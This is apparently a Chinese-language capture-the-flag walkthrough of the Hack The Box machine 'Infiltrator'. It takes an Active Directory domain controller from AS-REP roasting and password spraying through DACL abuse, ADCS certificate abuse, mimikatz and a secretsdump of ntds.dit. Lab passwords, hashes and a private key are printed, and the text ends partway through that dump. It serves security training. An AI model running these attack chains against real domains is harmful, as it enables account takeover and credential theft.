2024-08-31

Infiltrator

Machines#623InsaneWindowsAS-REP_RoastingActiveDirectory密码喷射BloodHoundOutPutMessengerCodemerxDecompileWiresharkJohnBitLockerntdsdotsqliteGMSAADCSESC4

← Machines

Recon & Enum

Port Scan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Infiltrator.htb
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-14 00:14:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Issuer: commonName=infiltrator-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-04T18:48:15
| Not valid after:  2099-07-17T18:48:15
| MD5:   edac:cc15:9e17:55f8:349b:2018:9d73:486b
|_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071
|_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Issuer: commonName=dc01.infiltrator.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-07-30T13:20:17
| Not valid after:  2025-01-29T13:20:17
| MD5:   be1d:a071:bf6d:fff0:20c0:6b23:8e7e:1763
|_SHA-1: cbda:6e22:6ccf:b5e7:534c:b9f0:d9e7:c5d8:dab9:769e
|_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: INFILTRATOR
|   NetBIOS_Domain_Name: INFILTRATOR
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: infiltrator.htb
|   DNS_Computer_Name: dc01.infiltrator.htb
|   DNS_Tree_Name: infiltrator.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2024-11-14T00:17:00+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
15220/tcp open  unknown
15230/tcp open  unknown
49666/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49723/tcp open  msrpc         Microsoft Windows RPC
49736/tcp open  msrpc         Microsoft Windows RPC
49877/tcp open  msrpc         Microsoft Windows RPC

DNS

这里可以先挂后台跑，如果后面的枚举有新的成果，可以直接中断

gobuster dns -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -d infiltrator.htb -o log/dns.log -r infiltrator.htb

Web Dir

这里可以先挂后台跑，如果后面的枚举有新的成果，可以直接中断

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -o log/web_dir.log -u http://infiltrator.htb/

Rpc

rpcclient infiltrator.htb -U 'guest%'

LDAP

ldapsearch -x -H ldap://infiltrator.htb -s base

SMB

netexec smb infiltrator.htb -u guest -p '' --shares
netexec smb infiltrator.htb -u guest -p '' --rid-brute 10000

Shell as M.Harris

在 Web 页面中发现了团队成员，保存名称

David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez

生成用户名组合，使用 kerbrute 枚举用户名

kerbrute userenum --dc infiltrator.htb -d infiltrator.htb info/dic_user.list -o log/kerbrute_username.log
---
...
2024/11/14 20:30:39 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:39 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:39 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:39 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:39 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:40 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:40 >  [+] VALID USERNAME:       [email protected]
2024/11/14 20:30:45 >  Done! Tested 77 usernames (7 valid) in 5.990 **seconds**

AS-REP Roasting

impacket-GetNPUsers -no-pass -usersfile info/user.list infiltrator.htb/
---
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] User D.Anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User O.Martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User K.Turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User A.Walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User E.Rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:59de0be66010a9b1a6d556b9dc40655c$c0a83a0c13c9d3c93845780d212b475ab9dfd03664fc96389a5b4a8a7b72b876309ec91711f79d884f88093518c1fd7c6c392ff1c56cc9b2b6f4b84902023c9fbc1ffb31d19fb65cbefebad093167c7ae1b7939e3b049f0efc404dfd0be057341484c578620f33ba407c998d20897e29bc56ec1c178b07c6bc6132c7b8aa4cc2001b6ccc0e994d78b9427f96c1329a078858eb8300170ad0bf6d5efcce373b3faa17939f71118d1832079db985a6c39904407c5d7e8706798bef1d2b5230a359fdba5303a11367b052af688630da080db393c07064a69fffd715a4c7bbe8533e3b48bfe5c344cb693f0cf79a505f744d8ef3

识别 Hash

nth -f info/KRB_AS_REP.hash
---
...
Kerberos 5 AS-REP etype 23, HC: 18200 JtR: krb5pa-sha1 Summary: Used for Windows Active Directory
...

Hashcat 爆破

hashcat -m 18200 info/KRB_AS_REP.hash /usr/share/wordlists/rockyou.txt
---
...
[email protected]:65969ff15f18ac84bd58a6185f7ccd24$93a0a81d05fc4e025b62fd665a350fdfbd750f4e7af34c2bd222ab727fd4a7fa5633c3dde88ed20df3ba406637168e9b45fcf9397784039601cac294c2ecd8cb6b24efec7ee83bece85a0a1a98f2852698284b8912e88fae047d9fdd9c88dfdbccf44c61eaa50427a5415260ebfe26f3db3c2a1efc996a2d92086589f515383854ae3502f0834e0da01ca5d20783d4a6ba3cd6019163df47c291bd99950e16deafa5bf5d7ccc39cfab61c5b71912b9aed41b259c708945e2b51c7d5fb5f7d0dae3cc955efa7ac9569ce98181e306ebc3834a1dd97817e9d6c03f4dfff165f526cc2b2a4b72c418b68cc6ccae4783cb73bd31:WAT?watismypass!
...

拿到凭据 L.Clark : WAT?watismypass!

LDAP Enum user

netexec ldap infiltrator.htb -u 'L.Clark' -p 'WAT?watismypass!' --users

这里拿到了一个 K.turner 用户的备注，很像密码，先保存 MessengerApp@Pass!

密码喷射

kerbrute passwordspray -d infiltrator.htb --dc 10.10.11.31 info/user.list 'WAT?watismypass!'
kerbrute passwordspray -d infiltrator.htb --dc 10.10.11.31 info/user.list 'MessengerApp@Pass!'

两个用户使用的是这个密码，可以再枚举一下共享目录

netexec smb infiltrator.htb -u info/user.list -p 'WAT?watismypass!' --shares

只有 L.Clark 有共享目录

SMB

使用爬取模块，把共享目录文件信息下载到本地

netexec smb infiltrator.htb -u L.Clark -p 'WAT?watismypass!' -M "spider_plus"

从共享文件的名称和大小，没发现什么闪光点，这里也可以每个都查看一下。

WinRM

netexec winrm infiltrator.htb -u info/user.list -p info/pass.list

WinRM 无法登录

BloodHound

 bloodhound-python -c all --zip -dc 'infiltrator.htb' -ns '10.10.11.31' -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!'

查看高价值路径

这个路径可以拿到 M.Harris 的权限，从而远程登录机器拿到 User Shell

首先修改 E.Rodriguez 的密码

# 获取 D.Anderson 票据
impacket-getTGT 'infiltrator.htb'/'D.Anderson':'WAT?watismypass!'

# 更改 FullControl 权限
KRB5CCNAME=D.Anderson.ccache /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'D.Anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'D.Anderson':'WAT?watismypass!' -dc-ip dc01.infiltrator.htb -k -no-pass

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'D.Anderson' -p 'WAT?watismypass!' -k --dc-ip '10.10.11.31' set password 'E.Rodriguez' 'Admin@123'

然后 E.Rodriguez 把自己添加到 Chiefs Marketing 组中

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'E.Rodriguez' -p 'Admin@123' -k --dc-ip '10.10.11.31' add groupMember 'Chiefs Marketing' 'E.Rodriguez'

再修改 M.Harris 的密码

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'E.Rodriguez' -p 'Admin@123' -k --dc-ip '10.10.11.31' set password 'M.Harris' 'Admin@123'

然后可以使用 M.Harris 账户远程登录了

直接连是不行的，需要使用 Kerberos 认证票据

impacket-getTGT 'infiltrator.htb'/'M.Harris':'Admin@123'
KRB5CCNAME=M.Harris.ccache evil-winrm -i 'dc01.infiltrator.htb' -u 'M.Harris' -p 'Admin@123' -r 'infiltrator.htb'

还是出现报错，同时也提示可以省略用户名和密码，这里的原因是 KDC 对于域名 INFILTRATOR.HTB 无法定位需要修改 /etc/krb5.conf 配置文件。

[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    INFILTRATOR.HTB = {
        kdc = dc01.infiltrator.htb
        admin_server = dc01.infiltrator.htb
    }
[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

再次尝试登录

KRB5CCNAME=M.Harris.ccache evil-winrm -i 'dc01.infiltrator.htb' -r 'infiltrator.htb'

成功获取 Shell 权限，这里为了方便使用 Havoc 上线，然后使用 WinPEAS 枚举本地提权路径

Shell as winrm_svc

在 WinPEAS 中可以看到 14*** 端口有一些服务，把 14*** 的端口转发到本地

shell c.exe client -v [hack_ip]:8080 R:0.0.0.0:14406:127.0.0.1:14406 R:0.0.0.0:14118:127.0.0.1:14118 R:0.0.0.0:14121:127.0.0.1:14121 R:0.0.0.0:14122:127.0.0.1:14122 R:0.0.0.0:14123:127.0.0.1:14123 R:0.0.0.0:14125:127.0.0.1:14125 R:0.0.0.0:14126:127.0.0.1:14126 R:0.0.0.0:14127:127.0.0.1:14127 R:0.0.0.0:14128:127.0.0.1:14128 R:0.0.0.0:14130:127.0.0.1:14130

扫描一下这些端口的信息

nmap --min-rate 1000 -T4 -sV -p 14406,14130,14128,14118,14126,14127,14125,14122,14123 127.0.0.1
---
PORT      STATE SERVICE     VERSION
14118/tcp open  ssl/unknown
14122/tcp open  unknown
14123/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
14125/tcp open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
14126/tcp open  http        Apache httpd 2.4.9 ((Win32) PHP/5.5.12)
14127/tcp open  unknown
14128/tcp open  unknown
14130/tcp open  unknown
14406/tcp open  mysql       MySQL 5.5.5-10.1.19-MariaDB

先试试 MySQL

这里提示是需要密码的，试一下前面没用上的 MessengerApp@Pass!

还是不对，再看看几个 HTTP 服务，先看 14123 的

前面发现的 K.turner 用户的备注信息就是 OutPut Messenger 服务的密码 MessengerApp@Pass!

发现一些聊天记录，但是没啥营养，再看一下另外两个端口

回看一下这个 Web 客户端的功能点很少，打算去找找有没有什么漏洞，比如 XSS 之类的

在官网看到，这个是由客户端的，而且功能明显不止网页的那些，还可以传文件，安装一下

这里代理的端口 14121 没问题就可以登录

在这里发现了 m.harris 的凭据 D3v3l0p3r_Pass@1337!

发现了 Admin 发送的 UserExplorer.exe 文件，从群聊中可以知道，这程序用到了 AES 加密

是个 .NET 框架编译的 PE 文件，启动 CodeMerxDecompile

找到了 winrm_svc 相关的信息

下面还看到了解密函数，第一个参数大概是密钥，尝试解密

TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
b14ca5898a4e4133bbce2ea2315a1916

解密后还是很像 Base64，再来一次

这下拿到凭据了 winrm_svc:WinRm@$svc^!^P，尝试一下 kerberos 认证

impacket-getTGT 'infiltrator.htb'/'winrm_svc':'WinRm@$svc^!^P' -dc-ip 10.10.11.31
KRB5CCNAME=winrm_svc.ccache evil-winrm -i 'dc01.infiltrator.htb' -r 'infiltrator.htb'

发现没什么特权，那么用这个账号再登录一下 Output Messenger 看看有没有其他提示信息

O.martinez 消息说，每天 9 点桌面会弹出窗口，然后除了 Chiefs_Marketing_chat 群组之外，没在其他地方分享过密码。

Shell as O.martinez

在笔记这里点击同步之后，发现了一个 API Key

lan_managment  api key 558R501T5I6024Y8JV3B7KOUN1A518GG

那么接下来尝试通过 API 去访问 Chiefs_Marketing_chat 群组消息

https://support.outputmessenger.com/chat-room-api/#Retrieving_all_chat_rooms

并且可以看到是需要 roomkey 来查看群聊记录，那么先去看一下 winrm_svc 的本地缓存文件

impacket-getTGT 'infiltrator.htb'/'winrm_svc':'WinRm@$svc^!^P' -dc-ip 10.10.11.31
KRB5CCNAME=winrm_svc.ccache evil-winrm -i 'dc01.infiltrator.htb' -r 'infiltrator.htb'

看到两个 sqlite 数据库，在其中找到了 roomkey

找到 API 端口在 14125，那么构造请求，查看 Chiefs_Marketing_chat 群组消息

curl -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' "http://127.0.0.1:14125/api/chatrooms/[email protected]&fromdate=2020/11/11&todate=2024/11/20"

发现 O.martinez 凭据 m@rtinez@1996!

这里不是域用户的密码，那么登录 outputmessenger 看一下，结合前面说的每天 9 点电脑会弹窗口

在日志这里发现一些定时任务

https://support.outputmessenger.com/reminder/

在官方文档可以看到，这里是有执行命令的权限的，但是我这没有，怀疑是版本或者平台问题，那么安装一个 Windows 版本的客户端看一下

这下正常了，但是选择执行文件的时候发现，只能选择本地的路径，那么需要在目标机器上创建一个一样的路径，创建完立刻注销，等待任务执行

回来看一下，完全没问题，看一下这个用户的权限

只能通过远程桌面登录，但是目前没有密码，先看一下本地文件有没有聊天附件

发现一个流量捕获文件，本地分析一下，先过滤 HTTP 流量

发现请求了 BitLocker-backup.7z 文件，那么吧文件导出到本地

尝试解压需要密码，那么先用 7z2john 转成 Hash ，然后尝试爆破一下

得到了一个 HTML 文件，看上去是 BitLocker 的恢复密钥，那么现在需要想办法 RDP 登录

有权限后，可以通过 ADCS 来获取 NT Hash

Certify.exe find
   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=infiltrator,DC=htb'

[*] Listing info about the Enterprise CA 'infiltrator-DC01-CA'

    Enterprise CA Name            : infiltrator-DC01-CA
    DNS Hostname                  : dc01.infiltrator.htb
    FullName                      : dc01.infiltrator.htb\infiltrator-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
    Cert Thumbprint               : 04A961BA417C7829B307CFBD46B2FB486BFD86C1
    Cert Serial                   : 724BCC4E21EA6681495514E0FD8A5149
    Cert Start Date               : 12/7/2023 5:42:38 PM
    Cert End Date                 : 8/4/2124 11:55:57 AM
...

Certify.exe request /ca:dc01.infiltrator.htb\infiltrator-DC01-CA
   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               
[*] Action: Request a Certificates

[*] Current user context    : INFILTRATOR\o.martinez
[*] No subject name specified, using current context as subject.

[*] Template                : User
[*] Subject                 : CN=O.martinez, CN=Users, DC=infiltrator, DC=htb

[*] Certificate Authority   : dc01.infiltrator.htb\infiltrator-DC01-CA

[+] Received Output [99 bytes]:

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[+] Received Output [4220 bytes]:

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzHQiR/c/D+KqAIzhBvfY/iVmSUbUkmnqIPWpve8Dbs9FoV46
MYxFDKwKhx4DxiOvpq7QRIV4poEWTfFcbXfujVP1iu1f5hQKRlkrwd+KT5s/Un+P
crPHWkQ2j5OKJEd4SMX2Y3T/ekt/lfR2tgmscbs9TTKL5DLZKyoVbCgvgH82bVev
c57s0q8IypTa36OGIGdoHl0R6TUQOKPr9E+2gv80lITogTnXnoF4Ni1wMU0SXxFz
fQS1oC317QQiceELfwD/W/+VKvuVwIH+nbCcSBPgCP5slsmcc3dKiXUm2LmppIZi
waiMxEbTDuoiWNGFetfh02seE3bM7LJr+Ve8hQIDAQABAoIBAHoKmKv8mlgRJQlP
DsPqDk0mZfg3n4wGTQt/mOMXWSU79IRuiq4o3M7Do0UkVXxgsOj+ULOWOH6rb3T3
LgTqIiuagmd7alMcg0Wa1NPVa+o48YN9QVNmnQj0ztzFZSBiyRonkPutSxLlHjOU
yYfAHn+FFQKPuZFuCNQLOt5k3nYEaFqNCPPBO6+dqkei6NglwWbRWiM0Pz9bXEcO
B1CguSOWYmO0/oHWJ11KWwjLNhxDj7z7pz9/IZ1Cxq501qUkiXa+8MnTYzQCMQ0H
Yrl5bKIsC2P2aVM29PMlbmNQ3I77vrrIcfJX68tbsBcR3B3nS0LUgk2sk/oVHOyS
zuga9cECgYEA3K6xX2i8TgKj0nA66O6t2ZwKUZ0GUEgyNy0qs8L8KByfiKaHXUao
3fnFCRlxaVf19wmHd3BBXJbVFd3r7JV/1YWRgTt50x7V8s53SChJK0Er/UqNlVa4
6ugJ5b6mh68kSEyaDlyWcRVGo0g8JBtkXk2XgQ/UD0TTPZeHeObo5m8CgYEA7SyN
lGiiBaA84bfD5uABwctVpdCBWslbdJ5OF6OBWjq3KiLRPWOvLJyO1WMN6XusDCYI
pekfRSqdOIZ8YNQjwk7RjPAEd/lD3NoCcVlDl8vL11TIftFJfnzpCdo0FIk6aGuq
SH4ijwudRYlPh5zJ9w02tjAR+Ar+Sr2p4TN0ZksCgYAPTDDRe1IqWjZ+/PaodPsq
LY3tkGQCpq6Mcp4WLfsK0MkiUODrT12fXZQSCGh7M/TB9jAk0GxHfdExnduf39En
vQWUHspYHzgXh8ZvAxPnYrIo8cUUyBkzd3hQK8Ihf7uVI3I+cp6fIiluYjCBFEEF
5H0PHkjF8jBugZWLhP46EwKBgQDsXBo8bIoLUUVbLOfujg8yMpGITeKbt0+NSLZK
mIewhBNFyqz7oPxSWTN/NNgId1deRAkaTtj69Rz52Azb8o4wdpwe+JN7fM5Eqn8E
txDFljPuxG+K8sdrZtBXIT4FuTycE6//zrRiGhEB23WGkJo1utVrezxtFYeWtK03
4S9/QQKBgQDMsxuIbQHyH4PHKhJ17ZJYM80rOLtF3Jq0bwrieucnG17uy/336TIz
WQhfzLS+eRLUzVCV7tYBd38JyJKTaTfbZBTYs5fTvpNtma1V8gJujJOUJgdk8iC5
MOaExu0eBiviukelGLDD/so78meFvIvjJkUA2PB9YBNx8y2S+1xUKg==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGgTCCBWmgAwIBAgITaQAAAAig71PWX2BvHQABAAAACDANBgkqhkiG9w0BAQsF
ADBQMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLaW5maWx0
cmF0b3IxHDAaBgNVBAMTE2luZmlsdHJhdG9yLURDMDEtQ0EwHhcNMjQxMTIxMDEw
NzIxWhcNMjUxMTIxMDEwNzIxWjCBgDETMBEGCgmSJomT8ixkARkWA2h0YjEbMBkG
CgmSJomT8ixkARkWC2luZmlsdHJhdG9yMQ4wDAYDVQQDEwVVc2VyczETMBEGA1UE
AxMKTy5tYXJ0aW5lejEnMCUGCSqGSIb3DQEJARYYbWFydGluZXpAaW5maWx0cmF0
b3IuaHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzHQiR/c/D+Kq
AIzhBvfY/iVmSUbUkmnqIPWpve8Dbs9FoV46MYxFDKwKhx4DxiOvpq7QRIV4poEW
TfFcbXfujVP1iu1f5hQKRlkrwd+KT5s/Un+PcrPHWkQ2j5OKJEd4SMX2Y3T/ekt/
lfR2tgmscbs9TTKL5DLZKyoVbCgvgH82bVevc57s0q8IypTa36OGIGdoHl0R6TUQ
OKPr9E+2gv80lITogTnXnoF4Ni1wMU0SXxFzfQS1oC317QQiceELfwD/W/+VKvuV
wIH+nbCcSBPgCP5slsmcc3dKiXUm2LmppIZiwaiMxEbTDuoiWNGFetfh02seE3bM
7LJr+Ve8hQIDAQABo4IDITCCAx0wFwYJKwYBBAGCNxQCBAoeCABVAHMAZQByMCkG
A1UdJQQiMCAGCisGAQQBgjcKAwQGCCsGAQUFBwMEBggrBgEFBQcDAjAOBgNVHQ8B
Af8EBAMCBaAwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZI
hvcNAwQCAgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMB0GA1UdDgQWBBQ/HY16qwj0
HNgSB+WtWl9erwLKmjAfBgNVHSMEGDAWgBRb6/nmmoCr6kHCUO3HEqDM/mdm8zCB
0gYDVR0fBIHKMIHHMIHEoIHBoIG+hoG7bGRhcDovLy9DTj1pbmZpbHRyYXRvci1E
QzAxLUNBLENOPWRjMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aW5maWx0cmF0b3IsREM9
aHRiP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
UkxEaXN0cmlidXRpb25Qb2ludDCByQYIKwYBBQUHAQEEgbwwgbkwgbYGCCsGAQUF
BzAChoGpbGRhcDovLy9DTj1pbmZpbHRyYXRvci1EQzAxLUNBLENOPUFJQSxDTj1Q
dWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0
aW9uLERDPWluZmlsdHJhdG9yLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTBPBgNVHREESDBGoCoGCisG
AQQBgjcUAgOgHAwaTy5tYXJ0aW5lekBpbmZpbHRyYXRvci5odGKBGG1hcnRpbmV6
QGluZmlsdHJhdG9yLmh0YjBPBgkrBgEEAYI3GQIEQjBAoD4GCisGAQQBgjcZAgGg
MAQuUy0xLTUtMjEtMjYwNjA5ODgyOC0zNzM0NzQxNTE2LTM2MjU0MDY4MDItMTEw
NjANBgkqhkiG9w0BAQsFAAOCAQEAeBvUjSr8MDsR5HnjQ2u8lYbf5tyfPIeNjvyh
CK+DK8yGZAaY4nVKWKqD5KN6sji8Vj9fbW08xfS9x6UpHIQx8gM8wZ8/ESxmKu6d
Brf7GKlH1EHRDxxNHMnP6aO3GXKViz2F50NGvrT8TBgeGYxmtbI7ZWu267xw9lXu
QTypwzbErS76uBtLQ4dqi3+qI9gv9YluyoO+111VAILGXirtv+SXlfCiIWSO8cCL
zOBd6nYwhPJ0uEBpwA4VMAfuPKNGr0APyWZGV+9bEmX4rP5Vbb/C/2/ZVxLfatGe
Wqvn6mQj9yxM6zeGovjq0IjhIgPJWOrGoky00QUQ68m+O+9n6g==
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
[+] Received Output [43 bytes]:
Certify completed in 00:00:15.6574722

使用提示的命令生成 pfx 文件，密码为空，然后就可以得到 NT Hash 了

拿到 O.Martinez 的 NT Hash daf40bbfbf00619b01402e5f3acd40a9 先尝试登录一下

提示是已经有访问权限了，PTH 登录桌面

RDP 被限制空密码登录，需要修改注册表去关闭 LimitBlankPasswordUse 和开启 DisableRestrictedAdmin 才能空密码 PTH，所以想到用 mimikatz 修改密码

https://medium.com/@jakemcgreevy/pass-the-hash-pth-with-rdp-80595fb38bef https://manesec.github.io/2024/09/03/2024-htb-machine/35-Infiltrator/#Attack-ADCS-to-change-password

mimikatz.exe "lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:daf40bbfbf00619b01402e5f3acd40a9 /newpassword:Admin@123123" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:daf40bbfbf00619b01402e5f3acd40a9 /newpassword:Admin@123123
OLD NTLM     : daf40bbfbf00619b01402e5f3acd40a9
NEW NTLM     : bedf6b880b93ea30a194162f7554a81d

Target server: dc01.infiltrator.htb
Target user  : o.martinez
Domain name  : INFILTRATOR
Domain SID   : S-1-5-21-2606098828-3734741516-3625406802
User RID     : 1106

>> Change password is a success!

mimikatz(commandline) # exit
Bye!

发现 BitLocker 加密的磁盘，使用恢复密钥恢复一下，然后把里面的文件夹先复制到桌面，翻一下

找到一个备份文件，解压后发现一些本地凭据存储的相关文件，导出一下

impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
---
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:4b90048ad6028aae98f66484009266d4efa571d48a8aa6b771d69d20aba16ddb7e0a0ffe9378a1ac7b31a812f0760fe2a8ce66ff6a0ff772155a29baa59b4407a95a920d0904cba6f8b19b6393f1551a476f991bbedaa66880e60611482a81b31b34c55c77d0e0d1792e3b18cdc9d39e0b776e7ef082399b096aaa2e8d93eb1f0340fd5f6e138da2580d1f581ff9426dce99a901a1bf88ad3f19a5bc4ce8ff17fdbb0a04bb29f13dc46177a6d8cd61bf91f8342e33b5362daecbb888df22ce467aa9f45a9dc69b03d116eeac89857d17f3f44f4abc34165b296a42b3b3ff5ab26401b5734fab6ad142d7882715927e45
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00
[*] DefaultPassword 
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM 
